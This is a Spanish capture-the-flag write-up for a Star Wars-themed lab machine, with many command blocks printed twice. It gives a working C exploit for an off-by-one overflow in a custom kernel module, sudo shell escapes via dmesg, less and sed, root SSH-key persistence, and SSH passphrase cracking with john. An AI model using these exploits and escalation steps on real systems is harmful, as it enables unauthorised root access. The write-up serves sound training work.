Al revisar el código fuente, este corresponde a un módulo personalizado para el kernel de Linux (LKM) que crea un dispositivo de caracteres denominado "/dev/vader_core" y se encarga de gestionarlo.
Características relevante detectadas sobre este módulo:
- El dispositivo "/dev/vader_core" se crea con permisos de lectura/escritura globales, lo que permite que cualquier usuario pueda interactuar con este.
- Inicializa un estructura de datos denominada "kernelArmor" con dos variables directamente adyacentes: "coreBuffer", búfer con un tamaño máximo de 64 bytes y "midichlorianStatus", entero sin signo con un valor inicial de "0x1300".
Al escribir en el dispositivo "/dev/vader_core" se realizan las siguientes operaciones:
- El tamaño de la cadena de caracteres introducida no debe superar los 65 ****bytes.
- Copia los datos introducidos al búfer "coreBuffer".
- En el caso de que "midichlorianStatus" tenga el valor "0x1337" exactamente, se ejecuta unas funciones anidadas (commit_creds**** y ****prepare_kernel_cred) que sin entrar en mucho detalle, terminan elevando privilegios al usuario "root". Se puede obtener más información sobre estas en el articulo añadido como referencia.
Referencia (commit_creds + prepare_kernel_cred = ROOT): https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/
cat bespin_duel.cReferencia (commit_creds + prepare_kernel_cred = ROOT): https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/
cat bespin_duel.c
La conclusión que se puede sacar tras analizar el código fuente es que este parece ser vulnerable a un tipo de desbordamiento de búfer denominado "error por un ****byte" (Buffer Overflow Off-by-one).
Esta vulnerabilidad de error por un byte (Off-by-one) permite escribir un byte de forma arbitraria más allá del límite del búfer establecido.
Esto ocurre porque la estructura "kernelArmor" donde se introduce la información proporcionada al escribir sobre el dispositivo "/dev/vader_core" dispone inicialmente de "coreBuffer" y directamente adyacente a este "midichlorianStatus" debido a la definición de la estructura como "attribute((packed))", lo que hace que no incluya un padding entre los miembros de esta.
Como la comprobación que se realiza al escribir sobre el dispositivo es que la entrada no sea superior a 65 bytes, este permite realizar este desbordamiento, haciendo que se sobrescriba la variable adyacente al búfer.
Al estar en una arquitectura de 64 bits, el primer byte de la variable "midichlorianStatus" consiste en el byte menos significativo (LSB) del valor almacenado. Esto significa que se da las condiciones necesarias para modificar este valor y cumplir la condición que permite escalar privilegios al usuario "root".
Además, tras listar los privilegios SUDO asignados, se puede comprobar que el usuario "luke_skywalker" tiene varios privilegios asignados para ejecutarse como cualquier usuario del sistema sin proporcionar contraseña, los cuales pueden ser útiles para escalar privilegios. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (ALL) NOPASSWD: /usr/sbin/insmod /home/luke_skywalker/bespin_duel.ko
- (ALL) NOPASSWD: /usr/bin/chmod 666 /dev/vader_core
- (ALL) NOPASSWD: /usr/bin/dmesg
sudo -lsudo -l
Como existe la posibilidad de instalar este módulo como "root", primero se debe compilar este para obtener un archivo ".ko" o "Kernel Object" y poder así instalarse.
Al intentar compilarlo, se puede comprobar que este devuelve un error.
make
...
make -C /lib/modules/6.1.0-44-amd64/build M=/home/luke_skywalker modules
make[1]: se entra en el directorio '/usr/src/linux-headers-6.1.0-44-amd64'
CC [M] /home/luke_skywalker/bespin_duel.o
/home/luke_skywalker/bespin_duel.c: In function ‘vader_init’:
/home/luke_skywalker/bespin_duel.c:90:25: error: assignment to ‘char * (*)(struct device *, umode_t *)’ {aka ‘char * (*)(struct device *, short unsigned int *)’} from incompatible pointer type ‘char * (*)(const struct device *, umode_t *)’ {aka ‘char * (*)(const struct device *, short unsigned int *)’} [-Werror=incompatible-pointer-types]
90 | vaderClass->devnode = vader_devnode;
| ^
cc1: some warnings being treated as errors
make[2]: *** [/usr/src/linux-headers-6.1.0-44-common/scripts/Makefile.build:255: /home/luke_skywalker/bespin_duel.o] Error 1
make[1]: *** [/usr/src/linux-headers-6.1.0-44-common/Makefile:2050: /home/luke_skywalker] Error 2
make[1]: se sale del directorio '/usr/src/linux-headers-6.1.0-44-amd64'
make: *** [Makefile:4: all] Error 2make
...
make -C /lib/modules/6.1.0-44-amd64/build M=/home/luke_skywalker modules
make[1]: se entra en el directorio '/usr/src/linux-headers-6.1.0-44-amd64'
CC [M] /home/luke_skywalker/bespin_duel.o
/home/luke_skywalker/bespin_duel.c: In function ‘vader_init’:
/home/luke_skywalker/bespin_duel.c:90:25: error: assignment to ‘char * (*)(struct device *, umode_t *)’ {aka ‘char * (*)(struct device *, short unsigned int *)’} from incompatible pointer type ‘char * (*)(const struct device *, umode_t *)’ {aka ‘char * (*)(const struct device *, short unsigned int *)’} [-Werror=incompatible-pointer-types]
90 | vaderClass->devnode = vader_devnode;
| ^
cc1: some warnings being treated as errors
make[2]: *** [/usr/src/linux-headers-6.1.0-44-common/scripts/Makefile.build:255: /home/luke_skywalker/bespin_duel.o] Error 1
make[1]: *** [/usr/src/linux-headers-6.1.0-44-common/Makefile:2050: /home/luke_skywalker] Error 2
make[1]: se sale del directorio '/usr/src/linux-headers-6.1.0-44-amd64'
make: *** [Makefile:4: all] Error 2
Para corregir este error, hay que realizar un ajuste dentro del código. Para ello, primero se realiza una copia del código fuente para mantener la versión original.
mv bespin_duel.c bespin_duel.c.old
cp bespin_duel.c.old bespin_duel.c
ls -almv bespin_duel.c bespin_duel.c.old
cp bespin_duel.c.old bespin_duel.c
ls -al
Se realiza la modificación con "nano".
nano bespin_duel.cnano bespin_duel.cEn la función "vader_devnode" es necesario eliminar el modificador "const" al primer parámetro denominado "dev" para que quede tal que así.
static char *vader_devnode(struct device *dev, umode_t *mode) {
if (mode) {
*mode = 0666; // Permisos rw-rw-rw-
}
return NULL;
}static char *vader_devnode(struct device *dev, umode_t *mode) {
if (mode) {
*mode = 0666; // Permisos rw-rw-rw-
}
return NULL;
}
Ahora se vuelve a compilar y esta vez ya no dá ningún error.
cat Makefile
makecat Makefile
make
Se puede comprobar que el archivo "bespin_duel.ko" se ha generado correctamente.
ls -al bespin_duel.ko
file bespin_duel.kols -al bespin_duel.ko
file bespin_duel.ko
En este punto es posible aprovechar uno de los privilegios SUDO para realizar la instalación de este módulo bajo el contexto del usuario "root".
Una vez termina, se puede comprobar que el módulo se ha instalado correctamente y que el dispositivo "/dev/vader_core" se ha creado con los permisos adecuados. Esto último significa que el privilegio SUDO de "chmod" no es necesario en este caso para ajustar los permisos del dispositivo.
sudo -u root /usr/sbin/insmod /home/luke_skywalker/bespin_duel.ko
lsmod | head -10
ls -al /dev/vader_coresudo -u root /usr/sbin/insmod /home/luke_skywalker/bespin_duel.ko
lsmod | head -10
ls -al /dev/vader_core
A continuación, se desarrolla un exploit en C gracias al conocimiento obtenido tras analizar el código fuente para poder escalar privilegios aprovechando la vulnerabilidad detectada en la función de escritura.
El exploit resultante es el siguiente:
# exploit.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main() {
int fd;
char payload[65];
// Abrir el dispositivo vulnerable
fd = open("/dev/vader_core", O_WRONLY);
if (fd < 0) {
perror("open");
return 1;
}
// Rellenar los primeros 64 bytes
memset(payload, 'P', 64);
// El byte 65 (índice 64) sobrescribe el LSB midichlorianStatus
// 0x37 = '7' en ASCII, transformar 0x1300 a 0x1337
payload[64] = '\x37';
// Realizar la escritura en el búfer
write(fd, payload, 65);
// En este punto ya se ha ejecutado commit_creds(prepare_kernel_cred(NULL))
// Obtenidos privilegios root bajo el contexto del kernel
close(fd);
// Abrir interprete de comandos como root
system("/bin/bash");
return 0;
}# exploit.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main() {
int fd;
char payload[65];
// Abrir el dispositivo vulnerable
fd = open("/dev/vader_core", O_WRONLY);
if (fd < 0) {
perror("open");
return 1;
}
// Rellenar los primeros 64 bytes
memset(payload, 'P', 64);
// El byte 65 (índice 64) sobrescribe el LSB midichlorianStatus
// 0x37 = '7' en ASCII, transformar 0x1300 a 0x1337
payload[64] = '\x37';
// Realizar la escritura en el búfer
write(fd, payload, 65);
// En este punto ya se ha ejecutado commit_creds(prepare_kernel_cred(NULL))
// Obtenidos privilegios root bajo el contexto del kernel
close(fd);
// Abrir interprete de comandos como root
system("/bin/bash");
return 0;
}Se crea el exploit y se compila para poder ejecutarse.
cd /tmp
nano exploit.c
gcc -o exploit exploit.c
ls -al exploit*cd /tmp
nano exploit.c
gcc -o exploit exploit.c
ls -al exploit*
Una vez ejecutado el exploit, este realiza la explotación del Buffer Overflow Off-by-one identificado previamente desde el contexto del kernel, obteniendo acceso directo al usuario "root".
./exploit
...
========================================
🛑 ¡¡¡ADVERTENCIA DE SEGURIDAD ABSOLUTA EN LA RED IMPERIAL!!!
================================================================================
⚠️ PRESENCIA SUPREMA DETECTADA // SEÑALIZACIÓN CÓDIGO NEGRO CERO
================================================================================
NIVEL DE AMENAZA: INCONMENSURABLE // LA OSCURIDAD EN PERSONA
CLASIFICACIÓN: AMO SUPREMO // EL MAESTRO DE PALPATINE
[!] ALERTA EN EL SISTEMA: Doblegad la rodilla. Las Leyes del Espacio e Imperio ya no aplican.
[!] ALERTA EN EL SISTEMA: Todo el poder del Lado Oscuro fluye por el núcleo de esta terminal.
IMPERIO GALÁCTICO — RED DE CONTROL
========================================
...
whoami
id
hostname./exploit
...
========================================
🛑 ¡¡¡ADVERTENCIA DE SEGURIDAD ABSOLUTA EN LA RED IMPERIAL!!!
================================================================================
⚠️ PRESENCIA SUPREMA DETECTADA // SEÑALIZACIÓN CÓDIGO NEGRO CERO
================================================================================
NIVEL DE AMENAZA: INCONMENSURABLE // LA OSCURIDAD EN PERSONA
CLASIFICACIÓN: AMO SUPREMO // EL MAESTRO DE PALPATINE
[!] ALERTA EN EL SISTEMA: Doblegad la rodilla. Las Leyes del Espacio e Imperio ya no aplican.
[!] ALERTA EN EL SISTEMA: Todo el poder del Lado Oscuro fluye por el núcleo de esta terminal.
IMPERIO GALÁCTICO — RED DE CONTROL
========================================
...
whoami
id
hostname
En este punto se detectan algunos mensajes de felicitación por completar el laboratorio junto con la flag asociada al usuario "root".
cd /root
ls -al
cat FELICIDADES
...
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
HAZAÑA COMPLETADA - CONTROL TOTAL DEL SISTEMA
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
¡Felicidades! Me hace feliz tanto a mí como a Chewie(gruñido de Chewbacca) que has podido completar este desafío. Tranquilo, aquí no acaba todo, la fuerza siempre está presente y siempre estará Palpatine para dar por culo. Agradecería de antemano, que me comentarás que es lo que te gusto más y que debería mejorar. Por cierto, las flags también ocultan algo... Guarda toda pista que será usada en el futuro o no.
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
cat mensaje.txt
...
¡Felicidades! Has completado este CTF sin despeinarte!! :) Me gustaría saber tu opinión, envíame un mensaje por privado, si te gustó y sino si hay algo que deba de mejorar, y ya que me gusta rizar el rizo en todo. Aquí no acaba todo, el poder de la fuerza es ilimitado o eso dicen jajajajaja.
Para el siguiente desafío, espero que estés muy pero que muy preparado. Por el momento, solo debo decir:
¡Que la fuerza te acompañe!
cat root.txtcd /root
ls -al
cat FELICIDADES
...
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
HAZAÑA COMPLETADA - CONTROL TOTAL DEL SISTEMA
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
¡Felicidades! Me hace feliz tanto a mí como a Chewie(gruñido de Chewbacca) que has podido completar este desafío. Tranquilo, aquí no acaba todo, la fuerza siempre está presente y siempre estará Palpatine para dar por culo. Agradecería de antemano, que me comentarás que es lo que te gusto más y que debería mejorar. Por cierto, las flags también ocultan algo... Guarda toda pista que será usada en el futuro o no.
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
cat mensaje.txt
...
¡Felicidades! Has completado este CTF sin despeinarte!! :) Me gustaría saber tu opinión, envíame un mensaje por privado, si te gustó y sino si hay algo que deba de mejorar, y ya que me gusta rizar el rizo en todo. Aquí no acaba todo, el poder de la fuerza es ilimitado o eso dicen jajajajaja.
Para el siguiente desafío, espero que estés muy pero que muy preparado. Por el momento, solo debo decir:
¡Que la fuerza te acompañe!
cat root.txt
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Además, se realiza una búsqueda para encontrar la flag restante, la cual pertenece al usuario "vader" y también es posible leerla desde este punto.
find / -name *user.txt 2>/dev/null
cat /home/vader/user.txtfind / -name *user.txt 2>/dev/null
cat /home/vader/user.txt
Para terminar, se realiza una persistencia a través de SSH para el usuario "root", ya que es posible que sea necesario para continuar indagando los secretos que esconde este laboratorio. Para ello, se crean un par de claves RSA y se asocia la clave pública como clave autorizada.
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keysssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keysDespués en la máquina local se crea y da permisos a la clave privada generada.
mousepad root-id_rsa -> (guardar en local la clave privada)
chmod 600 root-id_rsamousepad root-id_rsa -> (guardar en local la clave privada)
chmod 600 root-id_rsaPara probar que las claves funcionan, se decide descargar la imagen que se encuentra en el directorio principal del usuario "root" utilizando SCP para analizarse más detenidamente.
scp -i root-id_rsa root@10.0.250.26:/root/1a87f67c3624f9da57d125dc0a277578.pngscp -i root-id_rsa root@10.0.250.26:/root/1a87f67c3624f9da57d125dc0a277578.png
Al abrir esta imagen, se puede comprobar que corresponde a un QR. Al revisarlo en un lector de QR online, se puede comprobar que aloja el mismo contenido que el encontrado en el archivo "mensaje.txt" de la misma ubicación.
Referencia: https://scanqr.org/Referencia: https://scanqr.org/
BONUS 1: Detección de página WordPress (aporta narrativa, pero sin poder explotarse)
Tras continuar analizando la web, se detecta que desde la raíz existe un directorio denominado "wordpress", el cual parece redirigir a un subdominio.
gobuster dir -u http://starwars.thl/halcon_milenario/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zip
gobuster dir -u http://starwars.thl/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zipgobuster dir -u http://starwars.thl/halcon_milenario/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zip
gobuster dir -u http://starwars.thl/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zip
URL -> http://starwars.thl/wordpress -> http://wp.starwars.thlURL -> http://starwars.thl/wordpress -> http://wp.starwars.thlPara hacer que resuelva este subdominio, es necesario añadir dicho subdominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.
sudo mousepad /etc/hosts
10.0.250.26 starwars.thl wp.starwars.thl (modificar esta linea y guardar los cambios)sudo mousepad /etc/hosts
10.0.250.26 starwars.thl wp.starwars.thl (modificar esta linea y guardar los cambios)Al intentar resolverlo con el subdominio, este parece mostrar una página sobre la Estrella de la Muerte y su estado.
URL -> http://wp.starwars.thlURL -> http://wp.starwars.thl
Al revisar el código fuente, se detecta un comentario HTML que parece dar una pista sobre alguien que están buscando. Se detecta además una cadena de caracteres codificada en Base64.
URL -> view-source:http://wp.starwars.thl
...
<!-- AVISO PARA IMPERIALES!! !--> <!-- Se ha escapado de nuestras cárcel de seguridad máxima un esclavista mandaloriano de la especie Twi'lek... --> <!-- Si se encuentra a él en uno de nuestros sectores, actuar en consecuencia... Disparar a matar. --> <!-- Tiene documentos confidenciales que pertenecen al imperio. --> <!-- Recompensa: 1.000.000 monedas imperiales --> <!-- Hemos averiguado una nota en la cantina bajo su nombre.... : bGFzIGNyZWRlbmNpYWxlcyBwYXJhIGFjY2VkZXIgYWwgcGFuZWwgZGUgZXNwaW9uYWplIHByaXZh ZG8gc29uOg --> <!-- Por el Imperio y nada más!-->URL -> view-source:http://wp.starwars.thl
...
<!-- AVISO PARA IMPERIALES!! !--> <!-- Se ha escapado de nuestras cárcel de seguridad máxima un esclavista mandaloriano de la especie Twi'lek... --> <!-- Si se encuentra a él en uno de nuestros sectores, actuar en consecuencia... Disparar a matar. --> <!-- Tiene documentos confidenciales que pertenecen al imperio. --> <!-- Recompensa: 1.000.000 monedas imperiales --> <!-- Hemos averiguado una nota en la cantina bajo su nombre.... : bGFzIGNyZWRlbmNpYWxlcyBwYXJhIGFjY2VkZXIgYWwgcGFuZWwgZGUgZXNwaW9uYWplIHByaXZh ZG8gc29uOg --> <!-- Por el Imperio y nada más!-->
Al descodificarla, parece que pretendía contener unas credenciales sobre un panel de espionaje privado en una página secreta, y que en este caso no tiene nada, ni detalles de esta página secreta ni sus credenciales.
echo 'bGFzIGNyZWRlbmNpYWxlcyBwYXJhIGFjY2VkZXIgYWwgcGFuZWwgZGUgZXNwaW9uYWplIHByaXZhZG8gc29uOg' | base64 -d
las credenciales para acceder al panel de espionaje privado son:echo 'bGFzIGNyZWRlbmNpYWxlcyBwYXJhIGFjY2VkZXIgYWwgcGFuZWwgZGUgZXNwaW9uYWplIHByaXZhZG8gc29uOg' | base64 -d
las credenciales para acceder al panel de espionaje privado son:
Desde este punto se decide analizar desde una perspectiva no autenticada este CMS para intentar dar con una vulnerabilidad explotable que permita acceder. Sin embargo, no se consigue detectar nada que permita el acceso inicial al sistema desde este punto.
A continuación, se indica un resumen de hallazgos realizados sobre este CMS (inspección manual + escaneo automático):
- Acceso directo a XML-RPC, pero no se consigue aprovechar para nada.
- **Archivo **debug.log detectado sin contenido sensible.
- Directorio /wp-content/uploads/ detectado. Principalmente imágenes y audio de narrativa, además de nombre de posible plugin instalado "wp-file-manager-pro".
- No existe mucho contenido personalizado dentro de esta página, por lo que no se detecta información sensible a excepción del comentario HTML detectado previamente.
- Temas detectados: "second-coming" y "twentytwentythree". No se detecta ninguna vulnerabilidad relevante.
- Usuarios detectados: "palpatine". Administrador del CMS. No se consigue dar con su contraseña.
- Plugins detectados: "wp-file-manager (versión 8.0.4)" [Presuntamente vulnerable pero no explotable a CVE-2025–0818].
Como el servidor HTTP que gestiona esta instalación de WordPress se gestiona desde el mismo usuario que la web inicial, en el caso de que se diera un acceso inicial a través de este CMS se terminaría en el contexto del usuario "www-data".
BONUS 2: Escalada de privilegios (luke_skywalker -> root, la escalada "fácil")
Desde la perspectiva del usuario "luke_skywalker" queda pendiente un privilegio SUDO pendiente por revisar, haciendo referencia al binario "dmesg". El privilegio es el siguiente:
- (ALL) NOPASSWD: /usr/bin/dmesg
sudo -lsudo -l
Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/dmesg/#inheritReferencia: https://gtfobins.org/gtfobins/dmesg/#inherit
En este caso, es posible abrir una consola interactiva como el usuario "root" directamente.
sudo -u root /usr/bin/dmesg -H
!/bin/bash
whoami
id
hostnamesudo -u root /usr/bin/dmesg -H
!/bin/bash
whoami
id
hostname
BONUS 3: El bucle imperial
Escalada de privilegios (root -> vader -> emperador_palpatine)
Al revisar el directorio principal del usuario "root", se detecta un script escrito en Python denominado "dumper_generator.py" que se procede a analizarse más detenidamente.
ls -alls -al
Tras revisar su contenido este parece encargarse de generar un simulación de archivo de volcado de memoria denominado "anamnesis_anakin.dmp". Este se encarga de inyectar unas flags dentro de este volcado, con el objetivo de preparar un archivo de volcado para analizar de diferentes formas y hallarlas mediante análisis e investigación.
cat dumper_generator.pycat dumper_generator.py
Nota importante: En este caso no se realiza un análisis del archivo .dmp generado ya que se dispone del código fuente de como se ha generado con todas las flags que oculta y tras analizar el código se confirma que no aporta nada relevante para el avance de ninguna escalada, acceso o desbloqueo de nada extra que se haya podido encontrar. Sin embargo, se recomienda realizar este ejercicio para agudizar las capacidades de análisis e investigación.
Al acceder como el usuario "vader" y listar sus privilegios SUDO, se puede comprobar que es posible inspeccionar el archivo .dmp existente bajo el contexto del usuario "emperador_palpatine", ya que este archivo solo es gestionable como este usuario.
Además, se puede comprobar que el binario "/usr/bin/ds-reactor-audit" utilizado para la revisión del archivo es en realidad un enlace blando o soft link a la utilidad "less".
su - vader -> acceso como el usuario "vader" desde "root"
sudo -l
ls -al /var/log/anamnesis_anakin.dmp
ls -al /usr/bin/ds-reactor-auditsu - vader -> acceso como el usuario "vader" desde "root"
sudo -l
ls -al /var/log/anamnesis_anakin.dmp
ls -al /usr/bin/ds-reactor-audit
Al utilizar este privilegio SUDO, se puede comprobar que es posible inspeccionar de forma manual el archivo .dmp.
sudo -u emperador_palpatine /usr/bin/ds-reactor-audit /var/log/anamnesis_anakin.dmpsudo -u emperador_palpatine /usr/bin/ds-reactor-audit /var/log/anamnesis_anakin.dmp
Comprobando la utilidad "less" en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/less/#shellReferencia: https://gtfobins.org/gtfobins/less/#shell
De esta forma, desde la propia inspección del archivo .dmp es posible escalar privilegios al usuario "emperador_palpatine", al estar ejecutando la utilidad bajo su contexto.
(desde la inspeccion del .dmp ya abierta)
!/bin/bash
whoami
id
hostname(desde la inspeccion del .dmp ya abierta)
!/bin/bash
whoami
id
hostname
Escalada de privilegios (emperador_palpatine -> root)
Al listar los privilegios SUDO asignados, se puede comprobar que el usuario "emperador_palpatine" puede ejecutar el comando "/usr/bin/sed" como el usuario "root" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (root) NOPASSWD: /usr/bin/sed
sudo -lsudo -l
Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/sed/#shellReferencia: https://gtfobins.org/gtfobins/sed/#shell
En este caso, es posible abrir una consola interactiva como el usuario "root" directamente, haciendo posible volver al usuario de partida.
sudo -u root /usr/bin/sed -n '1e exec /bin/bash 1>&0' /etc/hosts
whoami
id
hostnamesudo -u root /usr/bin/sed -n '1e exec /bin/bash 1>&0' /etc/hosts
whoami
id
hostname
BONUS 4: Chiquito y la llave de la discordia
Escalada de privilegios (root -> chiquito -> leia_organa)
Al acceder como el usuario "chiquito", se pueden detectar varios recursos dentro de su directorio principal.
su - chiquito -> acceso como el usuario "chiquito" desde "root"
whoami
id
hostname
ls -alsu - chiquito -> acceso como el usuario "chiquito" desde "root"
whoami
id
hostname
ls -al
Se detectan una nota y un programa escrito en C que tras revisarlo no parece que tenga ninguna vulnerabilidad.
cat CABALLO_VIENE_DE_BONANZAAAAA
...
Diodenal fistro porque hasta luego Lucas pero a wan que sexuarl porque quietooor. A wan hasta luego Lucas ese pedazo de pecador de la pradera y la caidita. Diodenoo que te va a hasé pupitaa porque amatomaa y a gramenawer porque quietooor sexuarl va usté muy cargadoo. Se calle ustée pero de la pradera cuidadín condemor. Mamaar a wan y apetecan al ataquerl pero te va a hasé pupitaa no te digo trigo por no llamarte Rodrigo amatomaa diodeno. Condemor pero va usté muy cargadoo pero no te digo trigo por no llamarte Rodrigo porque va usté muy cargadoo pupita comorl a wan.
Sexuarl diodenoo que te va a hasé pupitaa porque ese que llega ese hombree me cago en tus muelas ese que llega. Hasta luego Lucas caballo blanco caballo negroorl por la gloria de mi madre pupita pero la caidita al ataquerl pero diodenal. No puedor porque pecador porque diodeno ahorarr caballo blanco caballo negroorl porque quietooor pero cuidadín porque a wan. Caballo blanco caballo negroorl porque al ataquerl a wan papaar papaar y comorl hasta luego Lucas.
Hasta luego Lucas te va a hasé pupitaa porque ese que llega porque a wan porque al ataquerl está la cosa muy malar y duodenarl. Hasta luego Lucas porque amatomaa condemor ahorarr qué dise usteer. Condemor porque la caidita porque te va a hasé pupitaa pero cuidadín porque te va a hasé pupitaa a gramenawer torpedo. Pupita que caballo blanco caballo negroorl pero la caidita a wan. Te voy a borrar el cerito que no puedor que fistro que ese pedazo de.
Con todo el respeto a un grande de España...
¡POR SIEMPRE CHIQUITO!
cat no_puedol.c
/* no_puedol.c */
#include <stdio.h>
#include <string.h>
void invocar_fistro() {
printf("\nInvocando fistros...\n");
}
int main() {
char nombre[32];
printf("=================================\n");
printf(" CONTADOR DE FISTROS\n");
printf("=================================\n");
printf("¿Cómo te llamas, pecador?\n> ");
/* Lectura segura */
if (fgets(nombre, sizeof(nombre), stdin) == NULL) {
return 1;
}
nombre[strcspn(nombre, "\n")] = '\0';
printf("\nJarl!! Bienvenido %s\n", nombre);
if (strlen(nombre) > 25) {
printf("Madre mía, menudo nombre.\n");
}
invocar_fistro();
return 0;
}cat CABALLO_VIENE_DE_BONANZAAAAA
...
Diodenal fistro porque hasta luego Lucas pero a wan que sexuarl porque quietooor. A wan hasta luego Lucas ese pedazo de pecador de la pradera y la caidita. Diodenoo que te va a hasé pupitaa porque amatomaa y a gramenawer porque quietooor sexuarl va usté muy cargadoo. Se calle ustée pero de la pradera cuidadín condemor. Mamaar a wan y apetecan al ataquerl pero te va a hasé pupitaa no te digo trigo por no llamarte Rodrigo amatomaa diodeno. Condemor pero va usté muy cargadoo pero no te digo trigo por no llamarte Rodrigo porque va usté muy cargadoo pupita comorl a wan.
Sexuarl diodenoo que te va a hasé pupitaa porque ese que llega ese hombree me cago en tus muelas ese que llega. Hasta luego Lucas caballo blanco caballo negroorl por la gloria de mi madre pupita pero la caidita al ataquerl pero diodenal. No puedor porque pecador porque diodeno ahorarr caballo blanco caballo negroorl porque quietooor pero cuidadín porque a wan. Caballo blanco caballo negroorl porque al ataquerl a wan papaar papaar y comorl hasta luego Lucas.
Hasta luego Lucas te va a hasé pupitaa porque ese que llega porque a wan porque al ataquerl está la cosa muy malar y duodenarl. Hasta luego Lucas porque amatomaa condemor ahorarr qué dise usteer. Condemor porque la caidita porque te va a hasé pupitaa pero cuidadín porque te va a hasé pupitaa a gramenawer torpedo. Pupita que caballo blanco caballo negroorl pero la caidita a wan. Te voy a borrar el cerito que no puedor que fistro que ese pedazo de.
Con todo el respeto a un grande de España...
¡POR SIEMPRE CHIQUITO!
cat no_puedol.c
/* no_puedol.c */
#include <stdio.h>
#include <string.h>
void invocar_fistro() {
printf("\nInvocando fistros...\n");
}
int main() {
char nombre[32];
printf("=================================\n");
printf(" CONTADOR DE FISTROS\n");
printf("=================================\n");
printf("¿Cómo te llamas, pecador?\n> ");
/* Lectura segura */
if (fgets(nombre, sizeof(nombre), stdin) == NULL) {
return 1;
}
nombre[strcspn(nombre, "\n")] = '\0';
printf("\nJarl!! Bienvenido %s\n", nombre);
if (strlen(nombre) > 25) {
printf("Madre mía, menudo nombre.\n");
}
invocar_fistro();
return 0;
}
Además, se detecta un directorio "chistes" que incluye dos listados, uno de chistes largos y otro de chistes cortos. Estos listados se han creado con LaTeX y se han generado sus correspondientes versiones en PDF.
En resumen, LaTeX es un sistema de composición de documentos orientado a producir textos con alta calidad tipográfica. Se utiliza especialmente para crear documentos científicos, técnicos y académicos que incluyen fórmulas matemáticas, tablas, bibliografías y estructuras complejas. Este sistema permite centrarse en el contenido que se desea mientras gestiona automáticamente el formato del documento.
Referencia (LaTeX): https://www.latex-project.org/Referencia (LaTeX): https://www.latex-project.org/Tras inspeccionar el contenido manualmente se puede comprobar que concretamente el archivo "chistes_largos.tex" incluye la instrucción "\verbatiminput" para cargar la clave privada del usuario "leia_organa" como contenido del documento.
Referencia (verbatiminput): https://tex64.com/es/learn/code-verbatim/verbatim-page#verbatiminput
ls -al chistes
file chistes/*
cat chistes/chistes_largos.tex | grep -i leiaReferencia (verbatiminput): https://tex64.com/es/learn/code-verbatim/verbatim-page#verbatiminput
ls -al chistes
file chistes/*
cat chistes/chistes_largos.tex | grep -i leia
Como los PDF resultantes puede incluir contenido oculto como en este caso, se decide descargar ambos para analizarse más detenidamente. Se utiliza SCP como "root" en este caso para agilizar la transferencia.
(desde el usuario "root")
scp -i root-id_rsa root@10.0.250.26:/home/chiquito/chistes/chistes_cortos.pdf ./chistes_cortos.pdf
scp -i root-id_rsa root@10.0.250.26:/home/chiquito/chistes/chistes_largos.pdf ./chistes_largos.pdf(desde el usuario "root")
scp -i root-id_rsa root@10.0.250.26:/home/chiquito/chistes/chistes_cortos.pdf ./chistes_cortos.pdf
scp -i root-id_rsa root@10.0.250.26:/home/chiquito/chistes/chistes_largos.pdf ./chistes_largos.pdf
Tras revisarlos, aparte de los chistes de Chiquito que se incluyen, se puede confirmar que el archivo "chistes_largos.pdf" incluye la clave privada que debe corresponder con el usuario "leia_organa".
(revisando archivo "chistes_largos.pdf")(revisando archivo "chistes_largos.pdf")
Al copiar, dar permisos e intentar utilizar la clave privada, se puede comprobar que esta se encuentra protegida con una passphrase que en principio se desconoce.
mousepad leia_orana-id_rsa -> (pegar y guardar la clave)
chmod 600 leia_organa-id_rsa
ssh -i leia_organa-id_rsa leia_organa@10.0.250.26
...
Enter passphrase for key 'leia_organa-id_rsa':mousepad leia_orana-id_rsa -> (pegar y guardar la clave)
chmod 600 leia_organa-id_rsa
ssh -i leia_organa-id_rsa leia_organa@10.0.250.26
...
Enter passphrase for key 'leia_organa-id_rsa':
Sin embargo, al extraer el hash e intentar romperlo, se descubre rápidamente la passphrase asociada a esta clave.
ssh2john leia_organa-id_rsa > ssh.hash
john --wordlist=/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt ssh.hashssh2john leia_organa-id_rsa > ssh.hash
john --wordlist=/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt ssh.hash
Conociendo esta, es posible acceder como el usuario "leia_organa" a través de SSH.
ssh -i leia_organa-id_rsa leia_organa@10.0.250.26
Enter passphrase for key 'leia_organa-id_rsa': <RECORTADO>
whoami
id
